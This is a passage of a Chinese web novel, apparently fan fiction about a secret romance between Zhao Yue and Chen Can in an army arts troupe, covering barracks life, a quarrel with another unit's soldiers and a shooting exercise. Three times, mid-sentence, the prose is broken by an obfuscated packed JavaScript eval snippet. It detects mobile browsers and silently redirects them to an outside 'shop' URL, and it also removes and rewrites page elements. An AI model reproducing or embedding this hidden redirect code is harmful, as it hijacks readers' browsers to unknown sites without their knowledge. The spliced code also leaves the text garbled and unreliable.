她看着他,声音清晰,一句一句说:“陈灿,我喜欢你。”
“我真的……很喜欢很喜欢你。”
陈灿被她看得心头发颤,听着她的表白,整个人轻飘飘的,像要飞起来。话音刚落,她扣住他后颈,俯身吻住他。
没有试探。
一落唇,便是深吻。
陈灿浑身猛地一颤,呼吸瞬间断了。
她的吻缠得人发紧,轻轻一吮,就让他整个人绷住,脑子一片空白。
他连回应都忘了,只能僵着,任由她主导。
等她松开时,两人气息都乱了。
兆悦抵着他的额头,眼尾微热,看着他。
陈灿整个人都在发烫,喉间发紧,一句话也说不出。
34. 闲时
夜里相拥时,兆悦指尖轻轻蹭着他的下颌,额头抵着他,声音轻得只有两人能听见。
“我们的事,先别对外说。”
“部队里不方便,会惹麻烦。”
陈灿把她搂得更紧,点了点头。
“我知道,都听你的。”
第二天训练场上,阳光亮得晃眼。
舞蹈队练舞步,乐队调音,号声、节拍声混在一起。
郝淑雯抱着胳膊,走到陈灿旁边:“陈灿,你昨天小号吹的什么玩意儿?错音一堆,能不能认真点?”
换作电影剧情,陈灿早跟她斗几句嘴。
今天他只抬了抬眼,语气平淡。
“昨天心情不好,失误了。”
“今天心情好。”
说话间,他往兆悦那边轻轻看了一眼。
郝淑雯没察觉,撇撇嘴转身走了。
众人各练各的,训练场又恢复了热闹。
中午食堂。
何小萍、兆悦、萧穗子坐一排。
对面是郝淑雯和杭春明。
陈灿端着餐盘过来,兆悦身边已经坐满,他便在杭春明旁边坐下。
吃到一半,杭春明伸过筷子,把兆悦碗里的芹菜都夹到自己碗里。
郝淑雯瞅见,随口道:“你怎么还抢人菜?”
杭春明嘿嘿一笑:“悦儿姐不吃这个,我帮她解决了。”
陈灿握着筷子的手顿了顿,默默记在了心里。
不吃芹菜。
他想照顾她,又想到自己不能关心的太明显,烦闷不已。
萧穗子把自己盘子里的菜往他那边推了推:“你不总说吃不饱吗?我吃不完,给你。”
陈灿眼角余光扫到兆悦正看着自己,立刻把菜推了回去。
“不用了,我够吃。”
萧穗子愣了愣,也没再多问。
下午继续训练。
何小萍一抬手、一落脚,基本功扎实又利落。
兆悦站在一旁看着,轻声夸:“进步好大,越来越好了。”
郝淑雯在旁边看了会儿,开口道:“我说兆悦,你怎么就这么护着何小萍?平时你多冷淡一个人,她一来,倒跟亲姐妹似的。”
兆悦淡淡一笑:“我喜欢她。”
萧穗子在旁打圆场:“小萍本来就很努力。”
正说着,领导走了过来,笑着通知:“前段时间演出大家表现不错,今晚放露天电影,都早点准备!”
一群人立刻欢呼起来。
傍晚刚擦黑,队伍浩浩荡荡往放映场走,人人搬着小板凳,说说笑笑。
陈灿刻意放慢脚步,一直走在兆悦身边。
郝淑雯拎着板凳甩着胳膊:“哎哟,这板凳也太沉了,连个帮忙的都没有!平时练手风琴胳膊都酸了,还要搬这个。”
萧穗子在旁拆台:“有的电影看就不错了,你还挑三拣四。”
杭春明一听,立刻往兆悦跟前凑:“悦儿姐,我帮——”
话音未落,陈灿已经伸手,接过了兆悦手里的板凳。“我来。”
郝淑雯当场瞪圆了眼:“嘿,陈灿,你怎么只帮兆悦拿,不帮我?趋炎附势是吧?就帮战斗英雄,不帮我们老队友?”
陈灿掂了掂手里的两个板凳:“我拿两个,手够。”
杭春明立刻凑到郝淑雯跟前,笑嘻嘻地伸手:“行了别喊了,我帮你拿!”
郝淑雯一把甩开:“不用!我自己拿,我有力气。”
杭春明撇撇嘴,转身拿过萧穗子手里的凳子:“行,那我帮穗子拿!”
走在边上的何小萍把这一切看在眼里,悄悄瞥了陈灿一眼,没说话。
到了放映场,空地上已经排了好几排板凳。
郝淑雯皱起眉:“这些人来得也太快了,我还以为咱们算早的。”
萧穗子也跟着点头:“就是,咱们出来得挺及时,结果还是没抢到前面。”
几人找了中间的位置停下。
陈灿把自己的板凳往兆悦身边一靠,挨着她坐下。
萧穗子抱着板凳,笑了笑,坐到了陈灿另一边。
陈灿侧头看了她一眼,只是点了下头。
电影很快开场。
陈灿根本没看荧幕,坐了没一会儿,手指悄悄往兆悦手边挪了挪。
刚碰到她的手背,就被兆悦轻轻拍开。
他收回手,委屈的侧头看了她一眼。
兆悦抬眼瞥了他一下,示意他安分点。
他没再乱动,只是不动声色地把胳膊贴紧她的胳膊,静静靠着。
一场电影,两人都没怎么看进去,只是安安静静挨在一起。
散场后,人群纷纷起身。
陈灿第一时间拿起兆悦的小板凳,拎在手里。
一行人跟着人流往宿舍走。
回到宿舍,大家还在叽叽喳喳聊电影。
兆悦爬上床,靠在床头,嘴角轻轻弯着。
她从口袋里摸出陈灿送的绢帕,在前线时一直带在身上,布料已经被摸得很软。
她轻轻把帕子铺在枕头边。
下铺传来郝淑雯笑闹的声音:“丁丁,你跟那个摄影干事,现在发展到哪一步了?”
林丁丁的声音带着点不好意思,又藏着几分得意,语气收得很轻:“哎呀,就那样,别乱讲,让人听见不好。”
“有什么不好的,说说嘛——”
两人笑闹成一团。
兆悦脸上的笑意慢慢淡了。
她望着床顶,眼神一点点沉了下去。
她清楚地记得,再过不久,刘峰就会对林丁丁表白。
而林丁丁的那一声举报,会把刘峰彻底推入绝境,伐木连、腰伤、一辈子的前途,全都毁于一旦。
刘峰看林丁丁的眼神,她都看在眼里。
那样深的喜欢,根本不是旁人三言两语就能改变的。
感情的事,从来由不得外人插手。
兆悦轻轻攥了攥手心。
她在心里一遍一遍地想,到底有没有办法,能改变这一切。兆悦这一想,便失了神。
等她真正准备睡去时,宿舍里早已一片安静,其他人都早已睡熟。
夜,已经很深了。
第二天一早,她不出意外地起晚了。
萧穗子伸手轻轻拍了拍她的床头:“兆悦,快起了,大家都收拾好了,就等你了。”
兆悦猛地惊醒,慌慌张张爬起来,胡乱洗漱收拾,一路小跑往排练厅赶。
等到了地方,她才猛然一僵——乐谱忘在宿舍了。
她刚站在那儿有点无措,旁边已经递过来一本熟悉的乐谱。
是陈灿。
他二话不说,把自己的本子直接塞到她手里。
郝淑雯一眼瞅见,嗤笑一声:“陈灿,你谱子背下来了?就在这儿打肿脸充胖子。”
陈灿连眼神都没分给她,淡淡一句:“我记得。”
便转身归队,懒得再多说一个字。
上午排练结束,到了午饭时间。
兆悦本来胃口就浅,今天又起晚、一早上紧赶慢赶,更没什么食欲,随便扒了两口就放下筷子离开食堂。
刚走到僻静处,她脚步一顿。
林丁丁正和摄影干事站在树影里,说话的模样亲近又暧昧。
兆悦脚步轻缓,没有上前戳破,只脚下轻轻踢了颗小石子。
“嗒。”
声响不大,却足够让两人一惊。
摄影干事匆匆说了两句,转身快步离开。
林丁丁也理了理衣服,独自往宿舍走。
兆悦等了几分钟,才慢悠悠上楼。
林丁丁丝毫没察觉刚才被人看见,见她回来,还笑着寒暄:“你怎么回来这么早?”
“食堂的菜不合胃口,没吃多少。”兆悦语气平常。
林丁丁点点头,像是很理解,没再多问。
她坐回床边,指尖把玩着一枚新发卡,样式秀气,一看就不是部队里发的东西。
兆悦看在眼里,没出声。
心里却轻轻叹了一声,替刘峰觉得不值。
林丁丁当队友是不错,可人一旦动了喜欢的心思,落在她身上,大多要落得一身委屈。
这种话,她不能说,也没法说。
没一会儿,萧穗子和郝淑雯也吃完饭回来,宿舍里安安静静,各自休整。
下午,几人一同往排练厅走。
刚拐过路口,就迎面遇上一个女兵。
粗粗的麻花辫斜搭在肩头,人长得亮眼,神色里带着几分天生的傲气。
是萧燕。
干部子弟,在通讯连当话务员,家世好、模样好,向来眼高于顶,最瞧不上文工团的女兵,尤其跟郝淑雯,向来不对付。
郝淑雯往兆悦身边靠了靠,压低声音跟她咬耳朵:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309116|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你可不知道,这萧燕傲得很,上次咱们演出,她在背后说咱们文工团的女兵都是花架子,中看不中用。”
她说得添油加醋,有没有夸张成分也说不清。
兆悦只轻轻点了下头,没评价,也没接话。
傍晚吃完饭,一群人在空地上歇着聊天。
郝淑雯笑着挥挥手:“咱们四朵金花,到哪儿都是亮眼的。”
萧穗子立刻拉过何小萍,笑着纠正:“什么四朵,现在是五朵金花了。”
没人否认,都笑着应和。
兆悦看在眼里,心里轻轻一暖。
看来她离开这一个多月,何小萍没被针对,总算慢慢融进大家了。
没聊几句,不远处就传来一阵脚步声。
萧燕带着几个同连的女兵走了过来,个个神色不善。
其中一个嘴碎的女兵,上来就没好话,先把矛头对准林丁丁:“有些人啊,整天跟这个男的笑、跟那个男的聊,心思都不在训练上,也不知道天天忙些什么。”
林丁丁脸色一下就白了,又气又羞。
郝淑雯当场就拍了凳子站起来:“你胡说八道什么!嘴巴放干净点!”
萧穗子也跟着皱起眉,小声地帮腔:“你们别乱讲。”
萧燕抱着胳膊,慢悠悠开口,话里全是刺:“急什么?要是没说中,你们生什么气?这不就是不打自招吗?”
歪理一套一套的。
郝淑雯护着林丁丁,当场就跟她们吵了起来。
正好文工团的男兵们也散步过来,陈灿、杭春明都在。
杭春明一看这架势,立刻凑上来:
“哎哎哎,怎么回事啊?吵起来了?我来瞅瞅!”
陈灿没吭声,脚步一挪,站到了兆悦身边。
两边女兵越吵越凶,声音越来越大。
萧燕被说得急了,抬手就要推人,被身边人死死拉住。
都是军人,真动手谁都担待不起。
萧燕压着火气,嘴却更毒:“我就没见过你们这样的,说是文工团,唱歌跳舞,心思全歪了,以前都是什么人才干这行?”
这话一出,文工团这边所有人都炸了。
“你说话放尊重点!”
“我们凭本事演出,凭什么被你这么说!”
萧燕冷笑,扫过一圈人,连带着兆悦也一起骂:“一个个打扮得花枝招展,以为谁看不出来?”
兆悦本来一直没开口。
她跟萧燕无冤无仇,没必要跟着郝淑雯的旧怨一起闹。
可现在,对方无缘无故把她也连坐进来。
她眼神一下就冷了。
兆悦往前轻轻站了半步,声音不高,却清晰、冷静、一字一句:“你要是觉得文工团清闲,可以去找政委申请,跳一段、唱一段,看看能不能进来。”
一句话,精准戳中萧燕的痛处——萧燕之前不是没试过进文工团,只是条件不够,被刷了下来。
周围瞬间一静。
郝淑雯眼睛一亮,笑出声:“哈哈想,说得对!太对了!”
萧穗子也在旁边笑。
萧燕又羞又怒,脸涨得通红,死死盯着兆悦,目光从她脸上扫到身上,语气阴恻恻地,一字一句冲她来:“我们可没你们这么……会勾人。”
这话再明显不过,就是在说兆悦。
兆悦脸色一沉。
她还没开口,陈灿已经上前一步,声音冷得淬冰:“你说什么?”
萧燕强撑着傲气,还想嘴硬:“我又没说你,你急什么?”
陈灿眼尾一沉,语气冷硬:“再说试试。”
郝淑雯立刻上前一步:“自己没本事进文工团,就别在这儿阴阳怪气。”
萧穗子也轻声开口:“大家都是战友,不该这么说话。”
何小萍小脸绷紧,瞪着眼睛的时候,也尖锐得吓人。
萧燕一行人理亏气弱,被堵得无话可说,只能狠狠瞪了一眼,带着人灰溜溜走了。
郝淑雯仍有些气闷:“真是莫名其妙,每次都来找茬。”
萧穗子拉着她劝了几句,又转头安慰林丁丁。
兆悦看向陈灿,他已经收回冷意,只淡淡看了她一眼。
杭春明凑上来打圆场:“行了行了,别理那几个。”
有着共同的争执与对外的立场,五个女孩头一回这般齐心,彼此间的距离近了许多,相处也越发融洽亲近。
35. 风声
晚训结束,人渐渐散了。
何小萍抱着练功服,磨磨蹭蹭走到兆悦身边,左右看了看,才压低声音,语气怯怯又小心:“悦儿姐……我天天晚上去排练厅练,是不是……耽误你和陈灿了?”
她问得极含蓄,生怕戳破什么,也怕自己讨人嫌。
兆悦愣了一下,随即轻轻摇头,语气平静:“没有,你尽管去练你的,不用管我们。”
何小萍松了口气,用力点点头,抱着东西跑了。
兆悦站在原地,轻轻叹了口气。
文工团里这点心思,她比谁都清楚。
少男少女朝夕相处,暗生情愫再正常不过,谁和谁多看两眼,谁帮谁拿个东西,暗地里早被人看在眼里。
只是所有人都守着分寸,最多是偷偷传张纸条,写两句隐晦的话,连当面多说几句都要避嫌。
没有牵手,没有靠近,连眼神都不敢多停留。
没有一个人,像她这样大胆。
陈灿也从来没见过这样的女孩子。
他当然不知道兆悦身上那些不一样的地方从何而来,他只知道,她和这里所有的女生都不同。
她敢坦然地看他,敢在无人时靠近他,敢自然地碰他的手,敢把喜欢说得直白又坦荡。
那股与众不同的劲儿,对他来说,就是最致命的吸引。
可现在排练厅有何小萍在,就算没有,两人也不敢天天往一块儿凑。
文工团就这么大一点地方,人多眼杂,万一被人看出端倪,后果谁都担不起。
但是陈灿是真的急。
白天训练能看见,食堂能看见,休息能看见,可那都跟隔着一层似的。
看得见,碰不着,说句话都要前后思量,连个眼神都不敢多给。
傍晚训练间隙,他装作整理号嘴,慢悠悠蹭到兆悦附近,声音压得几乎听不见:“晚上……还能去哪儿?”
兆悦眼皮都没抬,手里翻着乐谱,淡淡一句:“忍着。”
陈灿抿着唇,没说话,垂在身侧的手指轻轻蜷了蜷。
眼底明晃晃写着委屈,却半个字都不敢多说。
只能看着。
看着她笑,看着她练习,看着她和别人说话,看着近在眼前,却碰不到分毫。
他这辈子第一次这么喜欢一个人,也是第一次这么束手无策。
部队里管得严,这群半大孩子就算心里有好感,也只能藏着掖着。
郝淑雯在路上跟萧穗子嘀咕:“哎,也就出来拉练能松快松快。”
萧穗子点点头:“可不是嘛,平时干什么都得躲着人。”
杭春明凑过来嘿嘿一笑:“那是你们,我跟我悦儿姐可不避讳!”
郝淑雯自然知道他们是表姐弟,白他一眼:“你少贫嘴。”
转眼到了深秋,冷风刮得人脸颊疼,人人都裹上了棉大衣,戴上了冬帽。
兆悦站在队伍后面,扯了扯身上的大衣,满脸别扭。
郝淑雯看她磨磨蹭蹭不拉拉链,开口喊:“兆悦,你拉链怎么不拉?冻感冒了怎么办!”
兆悦懒懒应了声:“没事,不冷。”
“还不冷?风都灌进去了!”郝淑雯皱着眉,“你就是嫌这身衣服难看!”
兆悦没反驳,缩着脖子往后面躲,话也少了许多。
等驻扎扎营,杭春明立马跑前跑后。
“悦儿姐,行李我来拿!”
“悦儿姐,板凳给你放好了!”
“悦儿姐,你歇着,活我全包了!”
兆悦往草堆上一坐,有一搭没一搭地听着身边人说话。
不远处,陈灿的目光一直落在她身上,没好靠近。
兆悦望着远处的靶场,脑子里不由自主翻出了原电影里的情节:也是这样的外出打靶,陈灿凑得很近,手把手教萧穗子瞄准;又和郝淑雯打赌比枪法,不管输赢,他都要帮郝淑雯背三天手风琴。
何小萍打错靶,还悄悄帮郝淑雯多开了几枪,最后郝淑雯赢了,还亲昵地推了陈灿一把。
一想到这些,兆悦心里顿时不爽,暗暗咬牙。
可她又很快回过神——那都是电影里的剧情了。
自从她来到这里,陈灿一直很安分,从没有过那些举动。
她这才软下来,觉得自己是不是有点小题大做,别真委屈了他。
萧穗子坐在她旁边,看她脸色不太好,轻声问:“你怎么了?是不是不舒服?”
兆悦摇摇头,声音有点闷:“没有,就是有点累。”
萧穗子又说:“等会儿要打靶,你以前打过吗?”
兆悦提不起劲:“没兴趣。”
风一吹,兆悦忍不住轻轻咳了两声,鼻尖微微发红。
萧穗子立刻皱起眉,语气多了几分担心:“你是不是感冒了?”
“一点点,不碍事。”兆悦揉了揉鼻子。
这话刚落,不远处的陈灿脚步顿了顿,目光立刻投了过来。
在营里的时候,杭春明仗着是表姐弟,黏得像块膏药,他半点插手的机会都没有,可现在是在外驻训,他总算能上前一步。
没一会儿,陈灿端着一缸子热水走了过来,径直站到兆悦面前,把缸子往她手里一塞。
“拿着。”
兆悦抬眼瞧他:“干嘛?”
“热水,喝了。”他语气简短,目光落在她发红的鼻尖上,“感冒了就别硬扛。”
杭春明在旁边一拍大腿,小声说道:“哎!我怎么没想到给悦儿姐弄热水!陈灿你可以啊!”
陈灿没理他,侧身往兆悦面前一站,正好挡住了迎面吹来的冷风。
“往里面坐,别吹风。”
兆悦握着温热的搪瓷缸,心里那点刚刚冒上来的醋意,一下子就散了大半。
她抬眼悄悄看了看他挺拔的背影,嘴角几不可查地弯了一下。
不远处,郝淑雯正专心检查枪支,忙着准备等会儿的打靶训练,注意力全在靶场方向。
萧穗子坐在一旁,只是安静地垂着眼,偶尔极轻地抬眼扫过陈灿的背影,又飞快低下头,指尖轻轻攥了攥衣角。
一切都安安静静,藏在深秋的风里。
兆悦捧着温热的搪瓷缸,指尖轻轻摩挲着缸沿,抬眼看向陈灿,语气装作平淡自然,心里却早有盘算:“你不去准备打靶吗?”
陈灿目光落在她脸上,声音放得很低,只有两人能听见:“不急,等你好点再说。”
兆悦心头微漾,面上依旧淡淡,只轻轻抬了抬下巴:“我想看你打。”
陈灿喉结轻轻动了一下,眼底掠过一丝浅淡的笑意:“好。”
他转身往靶位走去,身姿挺拔,步子沉稳。
很快,打靶开始。
何小萍端着枪,手心微微发紧,一连几枪下去,成绩栏上一片空白——一发没中。
而陈灿那边,枪声利落,报数声接连响起,最后竟多出了三环。
萧穗子看得眼睛一亮,忍不住轻声赞叹:
“打得真好……你怎么这么厉害?我都不会。”
兆悦慢悠悠走过去,站到陈灿身边,抬眼看向他,嘴角噙着点似笑非笑的意味,语气带着几分打趣:“可以啊,真厉害。”
陈灿刚要开口,就听她慢悠悠补了一句:“就是不知道,这多出来的三环,是从哪儿跑过来的?”
这话一出,周围人顿时哈哈大笑起来。
郝淑雯笑得最欢,直接冲陈灿喊:“行了吧你,还在那儿得意!要不是何
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309117|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小萍打错靶,你能有这成绩?”
陈灿皱了下眉,随口回了两句:“去去去,少调侃我。我自己打的准不行吗?”
“就算没有那几环,成绩也差不了。”
何小萍站在一旁,脸颊微微泛红,悄悄低下了头,手指紧张地攥着枪带。
兆悦一看她这模样,立刻收了打趣,几步走过去自然搂住何小萍的肩膀,转头看向陈灿,笑着打圆场:“你还得谢谢小萍呢,要不是小萍帮你多送了几环,你能这么风光?”
陈灿立刻顺着她的话,眼底带着只有两人懂的宠溺,连声应道:“是是是,得感谢,多亏了她。”
笑闹声渐渐淡下去,打靶训练依旧按次序进行。
兆悦搂着何小萍,轻轻拍了拍她的胳膊,低声安慰:“没事,就是闹着玩,别往心里去。”
何小萍点点头,脸色没什么异常,小声说:“我知道,悦儿姐。”
没过多久,不远处的靶位旁,果然乱了起来。
林丁丁在刘峰的指导下握枪,摄影干事一直凑在旁边举着相机,非要抓拍她打靶的样子。几人一来二去,枪身猛地一歪,眼看就要朝着不该打的方向去了。
亏得刘峰反应极快,一把托住林丁丁的手腕,猛地往上一抬。
“砰——”
子弹直冲天空炸开。
刘峰本就憋着一口气,此刻脸色沉了下来,语气里带着明显的不悦,还有几分不易察觉的醋意:“拍照也不看时候!不知道现在在打靶吗?真出了事谁担得起?”
摄影干事被当众说教,脸上瞬间挂不住,立刻不服气地顶了回去:“我拍我的照片,碍着你什么了?”
“又没真出事,你至于吗!”
两人当场争执了几句,气氛一下子僵到了极点。
林丁丁见状,立刻眼圈微微一红,轻轻拉了拉刘峰的袖子,声音又软又委屈,带着几分故作腔调的娇怯:“刘峰,你别这么凶好不好……你吓到我了。”
这话一出,旁边的陈灿都忍不住皱了下眉,心里只觉得,林丁丁这语气未免太刻意拿捏,听着别扭又不自在。
可他转念一想,从前兆悦也同他说过这般软乎乎的话,同样是撒娇,同样是带着小情绪,可从自己女朋友嘴里说出来,他只觉得满心舒坦,怎么听怎么乐意,连骨头都跟着轻了几分,心底更是软得一塌糊涂。
兆悦远远看着这一幕,轻轻皱了皱眉。
她走到郝淑雯身边,声音不大不小,刚好能让对方听进去:“咱们这位活雷锋,真是哪儿都要伸把手,精神是好,就是有时候太冒头了。”
郝淑雯多机灵的人,一听就懂,抱着胳膊走过去,半开玩笑半认真地开口,既没点破谁的难堪,又把话递到了:“我说刘峰,你可不能事事都这么雷锋。好心是好心,也得分时候,别真好心办了错事。”
林丁丁脸上一热,伸手轻轻推了郝淑雯一下,娇嗔着掩饰尴尬:“你少胡说。”
刘峰站在原地,没说话,只是原本温和的眼神慢慢沉了下去,神色间多了几分落寞。
兆悦看在眼里,心里轻轻叹了口气。
落寞点也好,失望点也好,总好过一条道走到黑,最后栽得爬不起来。能这样旁敲侧击点醒他一句,也算尽了自己一份力。
她没再围观,转身独自走回临时帐篷。
里面安安静静,一个人都没有。
兆悦在铺位上坐下,抱着自己的小水壶,小口小口地喝着温水,安安静静发呆。
没过一会儿,帐篷的门帘被轻轻掀开。
进来的是陈灿。
他确认外面没人经过,才放轻脚步走近,不像白天那样刻意保持距离,声音压得很低,只有两人能听见:“怎么一个人躲在这儿?”
36. 萧索
帐篷外的风声呼呼刮着,把训练场上的喧闹隔得远远的,里头只剩下两个人浅浅的呼吸声。
陈灿确认四周无人,才敢稍稍往前半步,距离拉近到只有一步之遥。
他眼底藏不住的在意,手指微微蜷了蜷,没敢立刻碰她。
“感冒好点没?”他声音压得极低,像怕打碎这片安静,目光轻轻落在她微微泛红的鼻尖上。
兆悦抱着小水壶,抬眼看向他,语气平平淡淡,却带着几分放松:“好多了,刚才那杯热水还算管用。”
陈灿轻轻“嗯”了一声,视线依旧落在她脸上,没好意思挪开。
在部队里他半点不能表露,只能远远看着,这会儿好不容易只剩两人,他便不想再收起那份在意。
“在靶场的时候,我一直看着你。”他低声开口,语气带着点不自然的坦诚,“风大,怕你严重。”
兆悦抬了抬眼,淡淡笑了下:“看我做什么,你不用打靶?”
“靶不着急。”他脱口而出,说完又觉得太直白,耳尖微微热了点,却还是硬着头皮补充,“你比较重要。”
兆悦心里轻轻一动,面上却没表现出来,只慢悠悠抱着水壶,往后靠了靠。
陈灿见状,又不自觉往前靠近了一点,动作轻得几乎看不见。
眼看他越靠越近,兆悦才轻轻抬了下手,示意他停下。
“别靠这么近。”她声音淡淡的,“我还感冒着呢,会传给你。”
本以为他会退开,没想到陈灿只是顿了顿,非但没挪步,反而抬眼看向她,眼神认真得很。
“传给我也没事。”他低声说,语气没有波澜,格外认真,“你难受了一天,我陪着也正常。”
兆悦愣了一下,看着他一本正经的样子,忽然觉得有点好笑。
“你还挺乐意被传染?”
陈灿轻轻摇头,目光诚实:“不是乐意,是不想你一个人不舒服。”
“在院里不能靠近你,现在……我想离你近一点。”
他说得直白,却不带半分轻浮。
兆悦看着他紧绷又略带紧张的侧脸,心里软了软,却依旧保持着淡定的模样,没让情绪露在脸上。
她放下水壶,轻轻抬眼,目光平静地与他对上。
没有多余的表情,没有夸张的温柔,只有两人之间心照不宣的亲近。
“陈灿。”
“我在。”他立刻应声。
“你现在胆子确实比以前大了。”兆悦语气里带了点浅浅的打趣。
陈灿喉结动了一下,目光轻轻落在她脸上,声音放得更轻:“这里没人,不用总端着。”
帐篷里安静得能听见彼此的呼吸,风从缝隙里钻进来,带着深秋的凉,可两个人站得这么近,却连空气都慢慢暖了起来。
第二天一早,兆悦的感冒便轻了大半,许是近来体质强了些,歇了一夜便缓过了精神。
外头是一望无际的平原,深秋把天地染得一片疏朗萧索,风掠过枯黄的草甸,远处的天际线干净又辽阔,明明是清冷的秋景,反倒有种开阔如画的意思。
天刚蒙蒙亮,萧穗子就轻手轻脚起了床。她脱去厚重的棉大衣,只穿着内里的军装,走到陈灿帐篷附近的那棵大树下,借着树干压腿。
动作做得自然,心思却全不在上面,一双眼时不时往帐篷口瞟,等着人出来。
没等多久,帐篷帘子一动,陈灿走了出来。
他本是夜里喝多了水,早起出来解手,没料到会有人这么早守在附近,一时也有些意外,随口打了个招呼:“起够早啊。”
萧穗子身子一僵,瞬间拘谨起来,指尖都微微发紧。
可她心里憋了一夜的话,实在不想就这么放过机会,咬了咬牙,还是轻脚跟了上去。
“陈灿……”
他停下脚步,回头看她。
“昨天小萍不是故意帮着小郝气你的,你没不高兴吧?”
陈灿神色平淡,没往心里去,只淡淡回了两个字:“没有。”
萧穗子见他话少,心里一沉,转身要走,又实在不甘心,犹豫片刻还是追了上去:“还有……悦儿,她也不是故意拿你开心的。”
“兆悦”两个字一落,陈灿脚步顿住,真的回过了头。
他脑子里莫名就闪过昨天靶场上的画面——她站在一旁,眼里带着点浅淡的笑意,轻轻咬着唇,慢悠悠打趣他的样子。
心里莫名一软,连带着看向萧穗子的神色都缓和了不少,甚至微微带了点笑意。
“没有,我不会生她的气。”
萧穗子哪里听得懂这其中的差别,只当是他态度温和,一颗心怦怦直跳,少女心事翻涌得厉害。
陈灿转身继续往远处僻静的地方走,萧穗子竟又下意识跟了上去。
他本就是着急解决私事,被人一路跟着,终是有些无奈,回头看她:“你老跟着我干什么?”
萧穗子脸一热,把心一横,鼓足了这辈子最大的勇气,声音轻却清晰:“我……我想听你吹起床号。”
陈灿愣了一下,只觉得这理由莫名其妙,完全没放在心上,语气里已经带了点不耐:“还不到时间。”
他懒得再多说,挥了挥手:“我撒野尿去,别老跟着我。”
说完便径直往远处走去,没再回头。
萧穗子站在原地,望着他干脆利落的背影,指尖微微攥紧。
心里那点酸涩与失落翻上来,却也在这一刻横下一条心——从今以后,她不能再把自己的心事藏得这么死了。
这次拉练行军到川西北山区,要扎营整整七天。
对他们而言,这一年一度的七天,像是短暂“扮演”一次真正的军人,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309118|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用练功,可以摸枪、打靶、投弹,把压缩饼干当零食,连摸哨都能放开摔跤打闹,是一年里最放松、最不像文工团的日子。
兆悦感冒无碍,也肯乖乖穿上大衣,只是人变得懒懒的,成天赖在帐篷里不想出去。
陈灿进不了女兵帐篷,只能在外头来回徘徊,有心找她,又不敢太显眼。
好不容易挨到中午吃饭,两人终于碰上面。
他端着饭盆坐到她附近,趁着没人注意,声音压得很低问:“怎么一早上不出来?”
兆悦小口啃着饼干,语气随意:“就想懒着。”
陈灿沉默一瞬,还是轻声问:“那傍晚出来一会儿,行不行?”
兆悦抬了抬眼,淡淡道:“就算是在外面拉练,也不是没人。”
她没说的是,昨晚林丁丁偷偷跟摄影干事往小树林里去,很晚才悄悄摸回帐篷。
这些事,她不会主动跟陈灿提,免得显得自己好像多在意、多着急一样。
傍晚的风比清晨凉了几分,吹过营地时带起一阵细碎的声响。
兆悦终究还是从帐篷里出来了,没往人多的地方去,只沿着营地边缘慢慢走。
她知道陈灿会来找,也知道这种时候不能太张扬,部队里的眼睛多,哪怕是在外拉练,也容不得半分放肆。
没走几步,身后便传来轻而稳的脚步声。
不用回头,她也知道是陈灿。
他没有立刻靠近,只是保持着一段不远不近的距离,等周围彻底没了人影,才稍稍加快脚步,走到她身侧。
“怎么肯出来了?”他开口,声音压得很低,带着明显的打趣,摆明了早就算准她会出来,故意逗她。
兆悦目视前方,脚步慢悠悠的:“待久了闷得慌。”
陈灿看了她一眼,眼底带着笑意。
不过还是很自然地往风口那边站了站,不动声色替她挡着凉风。
两人就这么随意走着,有一搭没一搭地聊了几句。
说的都是训练、天气、营地的琐事,平淡又规矩。
陈灿不是不上心,只是没经验,也知道这地方看着空旷,可万一有人出来走动,还是会被看见。
他心里也没尽兴,可实在不知道还能往哪儿去、还能做什么,只能就这样陪着。
兆悦越走越觉得没劲。
光在这儿干聊,有什么意思。
她脚步顿了顿,语气平平地开口:“我回去睡觉了。”
陈灿一下子愣在原地。
他看得出来,她不是真困,是无聊了。
他自己也没待够,可这地方不安全,也没法再留她,只能点头。
“……好。”他压下心里的失落,声音轻了些,“我送你到帐篷口。”
到了不远的地方,两人就自觉分开一段距离,各自装作无事分开走。
37. 月下
天刚蒙蒙亮,萧穗子就轻手轻脚地起身。
动作还是惊动了兆悦,她睁开眼,睡意还没完全散去。
萧穗子脸上立刻浮起一层不好意思,生怕自己扰了她睡觉。
兆悦倒没放在心上,只随口问了一句:“去干嘛?”
“出早功。”萧穗子小声答。
兆悦往被窝里缩了缩,显然是半点不想动,含糊嘟囔了一句:“这天儿这么凉,起这么早做什么。”
萧穗子被她说得有些不好意思,却还是站在帐篷口,望着外面轻声道:“今早天特别好,平原上全是露水,风也干净,和平时不一样。”
兆悦闭着眼哼了一声:“再好看也不如被窝舒服。”
萧穗子抿了抿唇,语气轻轻的,带着她一贯的文采:“山野还没被人惊扰,河水清冽,草木带着凉气,是城里、营里都没有的开阔。”
兆悦听得微微一动。
